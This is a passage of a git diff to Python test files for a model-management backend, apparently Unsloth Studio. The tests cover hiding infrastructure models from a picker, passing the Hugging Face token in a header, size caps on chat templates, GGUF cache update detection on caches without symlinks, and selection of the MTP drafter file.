+        get_logger = lambda *args, **kwargs: _DummyLogger(),
+    )
+
+import routes.models as models_route
+from core.rag import config as rag_config
+from hub.dependencies import get_hf_token
+from models.inference import LoadRequest
+from picker.schemas import MAX_CHAT_TEMPLATE_BYTES
+from picker.service import _read_bounded_text
+from utils.hidden_models import is_hidden_model
+
+
+@pytest.fixture(autouse = True)
+def _pin_default_embedder(monkeypatch):
+    """Pin the effective embedder to Studio's static default so hiding is
+    deterministic and cannot depend on ambient RAG config / env."""
+    default = "unsloth/bge-small-en-v1.5"
+    monkeypatch.setattr(rag_config, "EMBEDDING_MODEL", default, raising = False)
+    monkeypatch.setattr(rag_config, "effective_embedding_model", lambda: default)
+    monkeypatch.setattr(rag_config, "effective_gguf_repo", lambda: default)
+    monkeypatch.setattr(rag_config, "default_gguf_repo", lambda: default)
+
+
+# --------------------------------------------------------------------------- #
+# Infra-model hiding (the "infra models resurfaced in the picker" regression)  #
+# --------------------------------------------------------------------------- #
+
+
+@pytest.mark.parametrize(
+    "value",
+    [
+        "ggml-org/models",  # the probe repo id
+        "unsloth/bge-small-en-v1.5",  # the RAG embedder repo
+        "unsloth/bge-small-en-v1.5-GGUF",  # its GGUF companion
+        "/root/.cache/huggingface/hub/x/stories260K.gguf",  # probe on disk
+        "/root/.cache/x/Stories260K.GGUF",  # case-insensitive
+        r"C:\\models\\stories260K.gguf",  # windows-style path
+        "/opt/models/bge-small-en-v1.5",  # embedder basename folder
+        "/opt/models/bge-small-en-v1.5-Q8_0.gguf",  # suffixed local weight
+    ],
+)
+def test_infra_models_are_hidden(value):
+    assert is_hidden_model(value) is True
+
+
+@pytest.mark.parametrize(
+    "value",
+    [
+        "unsloth/gemma-3-270m-it-GGUF",  # a normal small chat GGUF
+        "unsloth/Qwen3-0.6B",  # a normal non-GGUF chat model
+        "user/stories260K-finetune-GGUF",  # repo id merely contains "stories260k"
+        "user/model-chat",  # generic repo must not be hidden
+        "meta-llama/Llama-3.1-8B-Instruct",
+    ],
+)
+def test_normal_models_are_not_hidden(value):
+    assert is_hidden_model(value) is False
+
+
+def test_is_hidden_model_ignores_empty_values():
+    assert is_hidden_model(None) is False
+    assert is_hidden_model("") is False
+    assert is_hidden_model(None, "", "unsloth/gemma-3-270m-it-GGUF") is False
+
+
+def test_hidden_model_matchers_expose_probe_needles():
+    needles, exact_ids, _exact_paths = models_route.hidden_model_matchers()
+    lowered = [n.lower() for n in needles]
+    assert "ggml-org/models" in lowered
+    assert "stories260k.gguf" in lowered
+    # The configured embedder is exposed as an exact repo id, never as a
+    # basename needle that would substring-hide unrelated chat models.
+    assert "bge-small-en-v1.5" not in lowered
+    assert "unsloth/bge-small-en-v1.5" in exact_ids
+
+
+def test_hidden_model_matchers_custom_repo_publishes_exact_ids(monkeypatch):
+    monkeypatch.setattr(rag_config, "effective_embedding_model", lambda: "org/model")
+    monkeypatch.setattr(rag_config, "effective_gguf_repo", lambda: "org/model-GGUF")
+    needles, exact_ids, exact_paths = models_route.hidden_model_matchers()
+    assert needles == ["ggml-org/models", "stories260k.gguf"]
+    assert "org/model" in exact_ids
+    assert "org/model-gguf" in exact_ids
+    assert exact_paths == []
+
+
+def test_hidden_model_matchers_local_owner_name_path_is_exact_path(monkeypatch, tmp_path):
+    # A local embedder shaped like owner/name that exists on disk must be an
+    # exact resolved path, not a Hub repo id (mirroring is_hidden_model), so the
+    # local row stays hidden instead of showing as a chat model.
+    (tmp_path / "models" / "embedder").mkdir(parents = True)
+    monkeypatch.chdir(tmp_path)
+    monkeypatch.setattr(rag_config, "effective_embedding_model", lambda: "models/embedder")
+    monkeypatch.setattr(rag_config, "effective_gguf_repo", lambda: "ggml-org/models")
+    _needles, exact_ids, exact_paths = models_route.hidden_model_matchers()
+    resolved = str((tmp_path / "models" / "embedder").resolve()).lower()
+    assert resolved in exact_paths
+    assert "models/embedder" not in exact_ids
+
+
+# --------------------------------------------------------------------------- #
+# HF token via header, query string only as a fallback (the token-leak fix)    #
+# --------------------------------------------------------------------------- #
+
+
+def test_get_hf_token_strips_and_returns():
+    assert get_hf_token("  hf_abc ") == "hf_abc"
+
+
+@pytest.mark.parametrize("value", [None, "", "   ", "\n\t"])
+def test_get_hf_token_blank_is_none(value):
+    assert get_hf_token(value) is None
+
+
+@pytest.mark.parametrize(
+    "value,expected",
+    [("  hf_x ", "hf_x"), ("", None), ("   ", None), (None, None), (1234, None)],
+)
+def test_normalize_hf_token(value, expected):
+    assert models_route._normalize_hf_token(value) == expected
+
+
+def test_header_token_wins_over_query():
+    header, query = "hf_header", "hf_query"
+    resolved = models_route._normalize_hf_token(header) or models_route._normalize_hf_token(query)
+    assert resolved == "hf_header"
+
+
+def test_query_token_is_fallback_when_header_absent():
+    resolved = models_route._normalize_hf_token(None) or models_route._normalize_hf_token(
+        "hf_query"
+    )
+    assert resolved == "hf_query"
+
+
+# --------------------------------------------------------------------------- #
+# Chat-template byte caps (the unbounded-template hardening)                    #
+# --------------------------------------------------------------------------- #
+
+
+def _load_request(**overrides):
+    data = {"model_path": "unsloth/test-model-GGUF", "gguf_variant": "Q4_K_M"}
+    data.update(overrides)
+    return LoadRequest.model_validate(data)
+
+
+def test_blank_chat_template_override_normalizes_to_none():
+    assert _load_request(chat_template_override = "   \n\t").chat_template_override is None
+
+
+def test_nonblank_chat_template_override_preserved_verbatim():
+    template = "  {{ messages }}  "
+    assert _load_request(chat_template_override = template).chat_template_override == template
+
+
+def test_chat_template_at_byte_limit_is_accepted():
+    template = "a" * MAX_CHAT_TEMPLATE_BYTES  # exactly the limit, 1 byte/char
+    assert (
+        len(_load_request(chat_template_override = template).chat_template_override)
+        == MAX_CHAT_TEMPLATE_BYTES
+    )
+
+
+def test_chat_template_over_char_limit_is_rejected():
+    with pytest.raises(Exception):  # pydantic ValidationError wrapping ValueError
+        _load_request(chat_template_override = "a" * (MAX_CHAT_TEMPLATE_BYTES + 1))
+
+
+def test_chat_template_over_byte_limit_is_rejected():
+    # Char count stays under the limit but UTF-8 bytes exceed it (3 bytes/char),
+    # so only the byte-count branch can catch this.
+    multibyte = "€" * (MAX_CHAT_TEMPLATE_BYTES // 2)  # euro sign, 3 bytes each
+    assert len(multibyte) <= MAX_CHAT_TEMPLATE_BYTES
+    assert len(multibyte.encode("utf-8")) > MAX_CHAT_TEMPLATE_BYTES
+    with pytest.raises(Exception):
+        _load_request(chat_template_override = multibyte)
+
+
+def test_read_bounded_text_reads_within_limit(tmp_path):
+    p = tmp_path / "t.json"
+    p.write_text("hello", encoding = "utf-8")
+    assert _read_bounded_text(p, 16) == "hello"
+
+
+def test_read_bounded_text_rejects_over_limit(tmp_path):
+    p = tmp_path / "big.json"
+    p.write_bytes(b"x" * 100)
+    assert _read_bounded_text(p, 50) is None
+
+
+def test_read_bounded_text_at_limit_is_read(tmp_path):
+    p = tmp_path / "exact.json"
+    p.write_bytes(b"x" * 50)
+    assert _read_bounded_text(p, 50) == "x" * 50
+
+
+def test_read_bounded_text_missing_file_is_none(tmp_path):
+    assert _read_bounded_text(tmp_path / "nope.json", 50) is None
diff --git a/studio/backend/tests/test_model_update_robustness.py b/studio/backend/tests/test_model_update_robustness.py
index 9cf2a62c39..d84f8c94a7 100644
--- a/studio/backend/tests/test_model_update_robustness.py
+++ b/studio/backend/tests/test_model_update_robustness.py
@@ -5,8 +5,8 @@
 Covers:
   * GGUF variant listing computes update_available from the already-fetched
     sibling metadata instead of a second Hub call.
-  * hf_hub_download_with_xet_fallback(force_download=True) bypasses the
-    try_to_load_from_cache cache-first early-return.
+  * hf_hub_download_with_xet_fallback forwards force_download through the shim to the
+    shared unsloth_zoo helper (which owns the cache-first early-return and its bypass).
 
 The cache "Update" action now runs through the download manager as a normal
 managed download (so it shows in the Downloads panel with progress + cancel),
@@ -112,13 +112,21 @@ def patch_hub_gguf(monkeypatch):
             blob_ids = [local_blob],
             gguf_files = {"model-Q4_K_M.gguf": 1000},
         )
+        monkeypatch.setattr(
+            "utils.hf_cache_settings.get_hf_cache_paths",
+            lambda: SimpleNamespace(hub_cache = tmp_path),
+        )
         monkeypatch.setattr(
             GV,
             "list_gguf_variants",
             lambda r, hf_token = None: (_variants(), False, [remote_sibling]),
             raising = True,
         )
-        monkeypatch.setattr(GV, "iter_hf_cache_snapshots", lambda _repo_id: [snap])
+        monkeypatch.setattr(
+            GV,
+            "iter_hf_cache_snapshots",
+            lambda _repo_id, root = None: [snap],
+        )
         monkeypatch.setattr(
             CI,
             "all_hf_cache_scans",
@@ -217,6 +225,10 @@ def test_variant_update_check_detects_companion_only_update(
             companion_path: 100,
         },
     )
+    monkeypatch.setattr(
+        "utils.hf_cache_settings.get_hf_cache_paths",
+        lambda: SimpleNamespace(hub_cache = tmp_path),
+    )
     siblings = [
         patch_hub_gguf.sibling("model-Q4_K_M.gguf", 1000, "mainsha"),
         patch_hub_gguf.sibling(companion_path, 100, "new-companion"),
@@ -227,7 +239,11 @@ def test_variant_update_check_detects_companion_only_update(
         lambda r, hf_token = None: (_variants(), has_vision, siblings),
         raising = True,
     )
-    monkeypatch.setattr(GV, "iter_hf_cache_snapshots", lambda _repo_id: [snap])
+    monkeypatch.setattr(
+        GV,
+        "iter_hf_cache_snapshots",
+        lambda _repo_id, root = None: [snap],
+    )
     monkeypatch.setattr(
         CI,
         "all_hf_cache_scans",
@@ -314,6 +330,7 @@ def test_cached_model_scan_keeps_local_safetensors_repo(monkeypatch, tmp_path):
                         file_name = "model.safetensors",
                         size_on_disk = 100,
                         blob_path = str(repo_path / "blobs" / "modelsha"),
+                        blob_last_modified = 3_000.0,
                     ),
                 ]
             )
@@ -336,49 +353,123 @@ def test_cached_model_scan_keeps_local_safetensors_repo(monkeypatch, tmp_path):
     assert rows[0]["repo_id"] == "Org/SafeTensorRepo"
     assert rows[0]["model_format"] == "safetensors"
     assert rows[0]["size_bytes"] == 100
+    assert rows[0]["last_modified"] == 3_000.0
+
+
+def test_cached_gguf_scan_keeps_download_timestamp(monkeypatch, tmp_path):
+    repo_path = tmp_path / "models--Org--GgufRepo"
+    repo = SimpleNamespace(
+        repo_id = "Org/GgufRepo",
+        repo_type = "model",
+        repo_path = repo_path,
+        revisions = [
+            SimpleNamespace(
+                files = [
+                    SimpleNamespace(
+                        file_name = "model-Q4_K_M.gguf",
+                        size_on_disk = 100,
+                        blob_path = None,
+                        blob_last_modified = 5_000.0,
+                    ),
+                ]
+            )
+        ],
+    )
+    monkeypatch.setattr(
+        CI,
+        "all_hf_cache_scans",
+        lambda: [SimpleNamespace(repos = [repo])],
+    )
+    monkeypatch.setattr(
+        CI.hf_cache_scan,
+        "is_gguf_repo_partial",
+        lambda *args, **kwargs: False,
+    )
+    monkeypatch.setattr(
+        CI,
+        "_gguf_variant_state_summary",
+        lambda _repo_id, **_kwargs: (False, 0),
+    )
+
+    rows = CI._scan_cached_gguf()
+
+    assert len(rows) == 1
+    assert rows[0]["repo_id"] == "Org/GgufRepo"
+    assert rows[0]["model_format"] == "gguf"
+    assert rows[0]["size_bytes"] == 100
+    assert rows[0]["last_modified"] == 5_000.0
+
+
+def test_cached_model_scan_hides_custom_whisper_repo(monkeypatch, tmp_path):
+    repo_path = tmp_path / "models--Org--CustomWhisper"
+    snapshot = repo_path / "snapshots" / ("a" * 40)
+    snapshot.mkdir(parents = True)
+    (snapshot / "config.json").write_text(
+        '{"model_type": "whisper", "architectures": ["WhisperForConditionalGeneration"]}'
+    )
+    repo = SimpleNamespace(
+        repo_id = "Org/CustomWhisper",
+        repo_type = "model",
+        repo_path = repo_path,
+        revisions = [
+            SimpleNamespace(
+                files = [
+                    SimpleNamespace(
+                        file_name = "config.json",
+                        size_on_disk = 10,
+                        blob_path = None,
+                    ),
+                    SimpleNamespace(
+                        file_name = "model.safetensors",
+                        size_on_disk = 100,
+                        blob_path = str(repo_path / "blobs" / "modelsha"),
+                    ),
+                ]
+            )
+        ],
+    )
+    monkeypatch.setattr(
+        CI,
+        "all_hf_cache_scans",
+        lambda: [SimpleNamespace(repos = [repo])],
+    )
+    monkeypatch.setattr(
+        CI,
+        "_cached_model_snapshot_path",
+        lambda _repo_path: snapshot,
+    )
+    monkeypatch.setattr(
+        CI.hf_cache_scan,
+        "is_snapshot_partial",
+        lambda *args, **kwargs: False,
+    )
+
+    assert CI._scan_cached_models() == []
 
 
 # ── hf_hub_download_with_xet_fallback force_download bypass (X2/F2) ───
 
 
-def test_force_download_bypasses_cache_first_early_return(monkeypatch):
-    """force_download=True skips the try_to_load_from_cache early-return and
-    proceeds to the real download path; force_download=False returns the cached
-    path without ever attempting a download (X2/F2)."""
-    import huggingface_hub as hf
+def test_force_download_is_forwarded_through_the_shim(monkeypatch):
+    """The shim's contract is to forward force_download unchanged to the shared helper (which owns the
+    cache-first early-return and bypass). Verify both False and True reach it (X2/F2)."""
     import utils.hf_xet_fallback as X
 
-    cached_path = "/cache/blob/cached.gguf"
+    seen = []
 
-    # Pretend the blob IS cached on disk (try_to_load_from_cache is imported
-    # inside the function from huggingface_hub, and os.path.exists must agree).
-    monkeypatch.setattr(hf, "try_to_load_from_cache", lambda *a, **k: cached_path, raising = False)
-    monkeypatch.setattr(X.os.path, "exists", lambda p: True, raising = False)
+    def fake_shared(repo_id, filename, token, **kwargs):
+        seen.append(kwargs.get("force_download"))
+        return "/downloaded/path"
 
-    attempts = []
+    monkeypatch.setattr(X, "_shared_hf_hub_download_with_xet_fallback", fake_shared, raising = True)
 
-    def fake_attempt(repo_id, filename, token, **kwargs):
-        attempts.append(
-            {"repo_id": repo_id, "filename": filename, "force": kwargs.get("force_download")}
-        )
-        return ("ok", "/freshly/downloaded/path")
-
-    monkeypatch.setattr(X, "_run_download_attempt", fake_attempt, raising = True)
-
-    # force_download=False: cache-first early-return, no download attempt.
-    out = X.hf_hub_download_with_xet_fallback(
+    X.hf_hub_download_with_xet_fallback(
         "unsloth/repo", "model.gguf", token = None, force_download = False
     )
-    assert out == cached_path
-    assert attempts == []  # never reached the real download
-
-    # force_download=True: bypass the early-return, run the real download.
-    out2 = X.hf_hub_download_with_xet_fallback(
+    X.hf_hub_download_with_xet_fallback(
         "unsloth/repo", "model.gguf", token = None, force_download = True
     )
-    assert out2 == "/freshly/downloaded/path"
-    assert len(attempts) == 1
-    assert attempts[0]["force"] is True
+    assert seen == [False, True]  # the shim forwards force_download to the shared helper unchanged
 
 
 # ── multi-revision GGUF blob comparison and update reclaim ──
@@ -400,14 +491,148 @@ def test_repo_gguf_blob_map_collects_all_revision_blobs():
     """Every cached revision's blob for a gguf file is kept as a set, not
     collapsed to one arbitrary blob."""
     repo_info = SimpleNamespace(
+        repo_path = "/",  # real blobs live at <repo_path>/blobs/<etag>
         revisions = [
             _rev(("lfm2-350m-q4_k_m.gguf", "OLDsha")),
             _rev(("lfm2-350m-q4_k_m.gguf", "NEWsha")),
-        ]
+        ],
     )
     assert CI._repo_gguf_blob_map(repo_info) == {"lfm2-350m-q4_k_m.gguf": {"OLDsha", "NEWsha"}}
 
 
+# ── no-symlink (Windows without Developer Mode) GGUF update detection ──
+#
+# Regression for the phantom "Update available" that NEVER clears (#7060). Without
+# the symlink privilege, hf_hub_download MOVES the blob into snapshots/ instead of
+# symlinking it, so blobs/ is empty and scan_cache_dir reports blob_path = the
+# snapshot file. Its name is the FILENAME, not an etag, so a remote-vs-local sha256
+# comparison can never match and every cached GGUF reports an update forever --
+# which re-downloading cannot fix, since the same file is rewritten with no blob.
+
+
+def _rev_no_symlink(*files):
+    """A revision whose GGUFs were MOVED into snapshots/ (no blobs/ entry)."""
+    return SimpleNamespace(
+        files = [
+            SimpleNamespace(
+                file_name = name,
+                blob_path = f"/hf/models--org--repo/snapshots/{'a' * 40}/{name}",
+                size_on_disk = size,
+            )
+            for name, size in files
+        ]
+    )
+
+
+def _requirement(*expected):
+    from hub.utils.download_manifest import ExpectedFile
+    from hub.utils.gguf_plan import GgufVariantPlan
+
+    expected_files = tuple(
+        ExpectedFile(path = path, size = size, sha256 = sha) for path, size, sha in expected
+    )
+    return GgufVariantPlan(
+        main_filenames = frozenset(e.path for e in expected_files),
+        target_filenames = tuple(e.path for e in expected_files),
+        main_hashes = frozenset(e.sha256 for e in expected_files if e.sha256),
+        required_hashes = frozenset(e.sha256 for e in expected_files if e.sha256),
+        companion_hashes = frozenset(),
+        mmproj_filenames = frozenset(),
+        mmproj_hashes = frozenset(),
+        expected_files = expected_files,
+        main_size_bytes = sum(e.size for e in expected_files),
+        download_size_bytes = sum(e.size for e in expected_files),
+    )
+
+
+def test_repo_gguf_blob_map_uses_size_identity_when_cache_has_no_blob():
+    """A snapshot-resident GGUF (no blobs/ entry) must NOT be recorded under its
+    filename as if that were a hash -- it gets a size identity instead."""
+    repo_info = SimpleNamespace(
+        repo_path = "/hf/models--org--repo",
+        revisions = [_rev_no_symlink(("model-Q4_K_M.gguf", 4096))],
+    )
+
+    assert CI._repo_gguf_blob_map(repo_info) == {
+        "model-Q4_K_M.gguf": {CI.local_size_identity(4096)}
+    }
+
+
+def test_repo_gguf_blob_map_skips_snapshot_file_with_unknown_size():
+    """No blob and no readable size means no identity at all, rather than a
+    filename masquerading as a hash."""
+    repo_info = SimpleNamespace(
+        repo_path = "/hf/models--org--repo",
+        revisions = [_rev_no_symlink(("model-Q4_K_M.gguf", 0))],
+    )
+
+    assert CI._repo_gguf_blob_map(repo_info) == {}
+
+
+def test_repo_gguf_blob_map_ignores_repo_blobs_subdir_on_no_symlink():
+    """A repo that ships a GGUF under its own blobs/ subdir lands at
+    snapshots/<rev>/blobs/model.gguf on a no-symlink cache. Its parent is named
+    'blobs' but it is NOT the cache blob store, so it gets a size identity rather
+    than having its filename recorded as a hash (which would show a phantom update)."""
+    repo_path = "/hf/models--org--repo"
+    repo_info = SimpleNamespace(
+        repo_path = repo_path,
+        revisions = [
+            SimpleNamespace(
+                files = [
+                    SimpleNamespace(
+                        file_name = "model-Q4_K_M.gguf",
+                        blob_path = f"{repo_path}/snapshots/{'a' * 40}/blobs/model-Q4_K_M.gguf",
+                        size_on_disk = 4096,
+                    )
+                ]
+            )
+        ],
+    )
+
+    assert CI._repo_gguf_blob_map(repo_info) == {
+        "model-Q4_K_M.gguf": {CI.local_size_identity(4096)}
+    }
+
+
+def test_no_symlink_cache_matching_remote_size_reports_no_update():
+    """The #7060 repro: a GGUF stored directly in snapshots/ whose size matches the
+    remote is CURRENT, and must not show a phantom 'update available'."""
+    local_blobs = {"model-Q4_K_M.gguf": {CI.local_size_identity(4096)}}
+    requirement = _requirement(("model-Q4_K_M.gguf", 4096, "REMOTEsha256"))
+
+    assert (
+        GV._variant_update_available_from_requirement(local_blobs, requirement, "Q4_K_M") is False
+    )
+
+
+def test_no_symlink_cache_with_different_remote_size_still_reports_update():
+    """A genuine upstream change is still detected in the no-symlink layout."""
+    local_blobs = {"model-Q4_K_M.gguf": {CI.local_size_identity(4096)}}
+    requirement = _requirement(("model-Q4_K_M.gguf", 8192, "REMOTEsha256"))
+
+    assert GV._variant_update_available_from_requirement(local_blobs, requirement, "Q4_K_M") is True
+
+
+def test_symlinked_cache_with_stale_blob_still_reports_update():
+    """The blob-hash path is untouched: a real blob that does not match the remote
+    sha256 is still stale, and a size-identity fallback must not rescue it."""
+    local_blobs = {"model-Q4_K_M.gguf": {"OLDsha"}}
+    requirement = _requirement(("model-Q4_K_M.gguf", 4096, "NEWsha"))
+
+    assert GV._variant_update_available_from_requirement(local_blobs, requirement, "Q4_K_M") is True
+
+
+def test_symlinked_cache_with_current_blob_reports_no_update():
+    """The blob-hash path is untouched: a matching blob is current."""
+    local_blobs = {"model-Q4_K_M.gguf": {"OLDsha", "NEWsha"}}
+    requirement = _requirement(("model-Q4_K_M.gguf", 4096, "NEWsha"))
+
+    assert (
+        GV._variant_update_available_from_requirement(local_blobs, requirement, "Q4_K_M") is False
+    )
+
+
 def test_reclaim_replaced_gguf_variant_prunes_old_revision_only(monkeypatch, tmp_path):
     """After a verified update, stale same-variant files/blobs are removed while
     the freshly downloaded hash and sibling variants remain cached."""
@@ -468,7 +693,12 @@ def test_reclaim_replaced_gguf_variant_prunes_old_revision_only(monkeypatch, tmp
     invalidated = []
     monkeypatch.setattr(CI, "invalidate_hf_cache_scans", lambda: invalidated.append(True))
 
-    result = D.reclaim_replaced_gguf_variant(repo_id, "Q4_K_M", frozenset({"NEWsha"}))
+    result = D.reclaim_replaced_gguf_variant(
+        repo_id,
+        "Q4_K_M",
+        frozenset({"NEWsha"}),
+        hub_cache = tmp_path,
+    )
 
     assert result["removed_snapshots"] == 1
     assert result["deleted_blobs"] == 1
@@ -481,3 +711,119 @@ def test_reclaim_replaced_gguf_variant_prunes_old_revision_only(monkeypatch, tmp
     assert sibling_snap.exists() is True
     assert sibling_blob.exists() is True
     assert invalidated == [True]
+
+
+def test_reclaim_replaced_gguf_variant_keeps_no_symlink_current_file(monkeypatch, tmp_path):
+    """No-symlink cache (Windows without Developer Mode): the moved GGUF lives
+    directly in snapshots/ and blobs/ is empty, so scan_cache_dir reports
+    blob_path == the snapshot file and its name is the FILENAME, not an etag.
+    Reclaim must NOT mistake that filename for a stale hash and delete the
+    freshly-downloaded current file."""
+    repo_id = "org/repo-GGUF"
+    repo_path = tmp_path / "models--org--repo-GGUF"
+    snap = repo_path / "snapshots" / ("a" * 40) / "model-Q4_K_M.gguf"
+    snap.parent.mkdir(parents = True, exist_ok = True)
+    snap.write_bytes(b"current-download")
+    (repo_path / "blobs").mkdir(parents = True, exist_ok = True)  # empty: moved, not linked
+
+    repo_info = SimpleNamespace(
+        repo_id = repo_id,
+        repo_type = "model",
+        repo_path = repo_path,
+        revisions = [
+            SimpleNamespace(
+                files = [
+                    SimpleNamespace(
+                        file_name = "model-Q4_K_M.gguf",
+                        file_path = str(snap),
+                        blob_path = str(snap),  # no-symlink: blob_path == the snapshot file
+                    )
+                ]
+            )
+        ],
+    )
+    monkeypatch.setattr(CI, "all_hf_cache_scans", lambda: [SimpleNamespace(repos = [repo_info])])
+    monkeypatch.setattr(CI, "invalidate_hf_cache_scans", lambda: None)
+
+    result = D.reclaim_replaced_gguf_variant(
+        repo_id,
+        "Q4_K_M",
+        frozenset({"REMOTEsha256"}),
+        hub_cache = tmp_path,
+    )
+
+    assert snap.exists() is True  # the current file must survive
+    assert result["removed_snapshots"] == 0
+    assert result["deleted_blobs"] == 0
+
+
+def test_reclaim_replaced_gguf_variant_only_mutates_worker_cache(monkeypatch, tmp_path):
+    repo_id = "org/repo-GGUF"
+    cache_a = tmp_path / "cache-a"
+    cache_b = tmp_path / "cache-b"
+
+    def cached_repo(cache_dir, revision):
+        repo_path = cache_dir / "models--org--repo-GGUF"
+        snap = repo_path / "snapshots" / revision / "model-Q4_K_M.gguf"
+        blob = repo_path / "blobs" / "OLDsha"
+        snap.parent.mkdir(parents = True, exist_ok = True)
+        blob.parent.mkdir(parents = True, exist_ok = True)
+        blob.write_bytes(b"old")
+        snap.symlink_to(blob)
+        return (
+            SimpleNamespace(
+                repo_id = repo_id,
+                repo_type = "model",
+                repo_path = repo_path,
+                revisions = [
+                    SimpleNamespace(
+                        files = [
+                            SimpleNamespace(
+                                file_name = snap.name,
+                                file_path = str(snap),
+                                blob_path = str(blob),
+                            )
+                        ]
+                    )
+                ],
+            ),
+            snap,
+            blob,
+        )
+
+    repo_a, snap_a, blob_a = cached_repo(cache_a, "a" * 40)
+    repo_b, snap_b, blob_b = cached_repo(cache_b, "b" * 40)
+    monkeypatch.setattr(
+        CI,
+        "all_hf_cache_scans",
+        lambda: [SimpleNamespace(repos = [repo_a]), SimpleNamespace(repos = [repo_b])],
+    )
+    monkeypatch.setattr(CI, "invalidate_hf_cache_scans", lambda: None)
+
+    result = D.reclaim_replaced_gguf_variant(
+        repo_id,
+        "Q4_K_M",
+        frozenset({"NEWsha"}),
+        hub_cache = cache_b,
+    )
+
+    assert result["removed_snapshots"] == 1
+    assert snap_b.exists() is False
+    assert blob_b.exists() is False
+    assert snap_a.exists() is True
+    assert blob_a.exists() is True
+
+
+def _mmproj_repo(*file_names: str):
+    return SimpleNamespace(
+        revisions = [SimpleNamespace(files = [SimpleNamespace(file_name = n) for n in file_names])]
+    )
+
+
+def test_repo_has_mmproj_requires_gguf_projector():
+    # A non-GGUF sidecar whose name merely contains "mmproj" must NOT mark the
+    # repo vision-capable; the runtime's projector detection is GGUF-only.
+    assert CI._repo_has_mmproj(_mmproj_repo("model-Q4_K_M.gguf", "mmproj_config.json")) is False
+    assert CI._repo_has_mmproj(_mmproj_repo("model-Q4_K_M.gguf", "README-mmproj.md")) is False
+    # A real GGUF projector still marks the repo vision-capable.
+    assert CI._repo_has_mmproj(_mmproj_repo("model-Q4_K_M.gguf", "mmproj-F16.gguf")) is True
diff --git a/studio/backend/tests/test_models_get_model_config_case_resolution.py b/studio/backend/tests/test_models_get_model_config_case_resolution.py
index 12f6c497ab..a50765898b 100644
--- a/studio/backend/tests/test_models_get_model_config_case_resolution.py
+++ b/studio/backend/tests/test_models_get_model_config_case_resolution.py
@@ -84,7 +84,7 @@ def test_repo_in_any_hf_cache_matches_case_variant_in_legacy_cache(tmp_path, mon
     # covers the active cache; discard deletes case-insensitively, so detection must too,
     # else a decline deletes a pre-existing user repo).
     import utils.paths as paths_pkg
-    import huggingface_hub.constants as hf_constants
+    import hub.utils.paths as hub_paths
 
     active = tmp_path / "active"
     legacy = tmp_path / "legacy"
@@ -96,9 +96,12 @@ def test_repo_in_any_hf_cache_matches_case_variant_in_legacy_cache(tmp_path, mon
 
     # No active-cache variant; case resolution is a no-op here.
     monkeypatch.setattr(paths_pkg, "resolve_cached_repo_id_case", lambda name: name)
-    monkeypatch.setattr(paths_pkg, "legacy_hf_cache_dir", lambda: legacy)
-    monkeypatch.setattr(paths_pkg, "hf_default_cache_dir", lambda: default)
-    monkeypatch.setattr(hf_constants, "HF_HUB_CACHE", str(active))
+    monkeypatch.setattr(hub_paths, "legacy_hf_cache_dir", lambda: legacy)
+    monkeypatch.setattr(hub_paths, "hf_default_cache_dir", lambda: default)
+    monkeypatch.setattr(
+        "utils.hf_cache_settings.known_hf_hub_caches",
+        lambda: [active],
+    )
 
     assert models_route._repo_in_any_hf_cache("unsloth/foo") is True
     # Absent from every cache -> reported absent.
diff --git a/studio/backend/tests/test_mtp_drafter_companion.py b/studio/backend/tests/test_mtp_drafter_companion.py
index d5e8d13652..02230632b6 100644
--- a/studio/backend/tests/test_mtp_drafter_companion.py
+++ b/studio/backend/tests/test_mtp_drafter_companion.py
@@ -23,7 +23,11 @@ if _BACKEND_DIR not in sys.path:
 
 from hub.utils.download_manifest import ExpectedFile
 from hub.utils.gguf import is_mtp_drafter_path
-from hub.utils.gguf_plan import build_gguf_variant_plans, plan_from_expected_files
+from hub.utils.gguf_plan import (
+    build_gguf_variant_plans,
+    plan_from_expected_files,
+    preferred_mtp_sibling,
+)
 from utils.models.model_config import (
     _is_mtp_drafter,
     detect_gguf_model,
@@ -37,6 +41,8 @@ from utils.models.model_config import (
 DRAFTER_CASES = [
     ("mtp-gemma-4-12b-it.gguf", True),
     ("MTP/gemma-4-12b-it-Q8_0-MTP.gguf", True),
+    # New-scheme MTP/ copies carry the mtp- basename prefix too.
+    ("MTP/mtp-gemma-4-E4B-it-BF16.gguf", True),
     ("foo/MTP/bar.gguf", True),
     ("gemma-4-12b-it-Q8_0.gguf", False),
     # Baked-in Qwen MTP repos: the head is inside the main GGUF, the file
@@ -274,3 +280,206 @@ def test_detect_gguf_model_rejects_mtp_subdir_copy(tmp_path):
     assert detect_gguf_model(str(copy)) is None
     # Selecting the MTP dir itself must not surface the copies as models.
     assert detect_gguf_model(str(sub)) is None
+
+
+# ── Root drafter wins over new-scheme MTP/ copies ────────────────────
+# The MTP/ copies were renamed to share the mtp- basename prefix (e.g.
+# MTP/mtp-gemma-4-E4B-it-BF16.gguf). Auto-fetch/load must still resolve the
+# small repo-root drafter, not a sort-first MTP/ copy (uppercase precedes
+# lowercase, so the subdir path would otherwise win).
+
+NEW_SCHEME_SIBLINGS = [
+    _sib("gemma-4-12b-it-Q4_K_M.gguf", 4_000, "main-q4"),
+    _sib("gemma-4-12b-it-Q8_0.gguf", 8_000, "main-q8"),
+    _sib("mtp-gemma-4-12b-it.gguf", 100, "drafter"),
+    _sib("MTP/mtp-gemma-4-12b-it-Q8_0.gguf", 100, "mtp-sub-q8"),
+    _sib("MTP/mtp-gemma-4-12b-it-BF16.gguf", 200, "mtp-sub-bf16"),
+    _sib("mmproj-F16.gguf", 500, "mmproj"),
+]
+
+
+def test_preferred_mtp_sibling_prefers_root_over_new_scheme_copies():
+    picked = preferred_mtp_sibling(NEW_SCHEME_SIBLINGS)
+    assert picked is not None and picked.rfilename == "mtp-gemma-4-12b-it.gguf"
+
+
+def test_variant_plans_new_scheme_uses_root_drafter():
+    plans = build_gguf_variant_plans(NEW_SCHEME_SIBLINGS)
+    assert set(plans) == {"q4_k_m", "q8_0"}
+    for plan in plans.values():
+        assert "mtp-gemma-4-12b-it.gguf" in plan.target_filenames
+        assert not any("MTP/" in name for name in plan.target_filenames)
+        assert "drafter" in plan.companion_hashes
+    # Download size = main + mmproj + root drafter (not the 200-byte BF16 copy).
+    assert plans["q4_k_m"].download_size_bytes == 4_600
+
+
+def test_download_mtp_prefers_root_over_new_scheme_copies(monkeypatch):
+    # _pick_mtp is nested; capture it via the companion-download seam.
+    from core.inference.llama_cpp import LlamaCppBackend
+
+    monkeypatch.delenv("HF_HUB_OFFLINE", raising = False)  # online: skip reuse probe
+    captured = {}
+
+    def _fake_companion(
+        *,
+        hf_repo,
+        hf_token,
+        pick,
+        label,
+        cancel_event = None,
+        near_path = None,
+    ):
+        captured["pick"] = pick
+        return None
+
+    b = LlamaCppBackend()
